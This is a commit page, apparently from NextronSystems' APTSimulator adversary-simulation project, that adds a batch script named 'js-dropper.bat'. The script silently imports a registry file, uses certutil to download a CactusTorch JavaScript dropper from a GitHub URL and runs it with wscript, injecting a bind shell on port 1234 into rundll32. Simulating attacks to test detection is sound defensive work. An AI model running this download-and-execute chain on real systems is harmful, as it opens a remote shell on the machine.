Test: CactusTorch dropper test

NextronSystems · Feb 15, 2018 · 7b8d929 · 7b8d929
1 parent 2f2996d
commit 7b8d929
Show file tree

Hide file tree

Showing 2 changed files with 17 additions and 0 deletions.
diff --git a/test-sets/command-and-control/js-dropper.bat b/test-sets/command-and-control/js-dropper.bat
@@ -0,0 +1,17 @@
+@ECHO OFF
+
+ECHO ===========================================================================
+ECHO CACTUSTORCH
+ECHO.
+ECHO Using certutil to drop a CactusTorch shellcode lanucher injecting bind shell (port 1234/tcp) into rundll32.exe
+ping -n 5 127.0.0.1 > NUL
+
+ECHO Fixing possible problems with JavaScript on the system
+"%ZIP%" e -p%PASS% %FILEARCH% -aoa -o"%TEMP%" workfiles\jsfix.reg > NUL
+regedit.exe /s %TEMP%\jsfix.reg
+
+ECHO Downloading the CactusTorch dropper
+cmd.exe /c certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js
+
+ECHO Executing the CactusTorch dropper
+wscript.exe C:\Users\Public\en-US.js
diff --git a/workfiles/jsfix.reg b/workfiles/jsfix.reg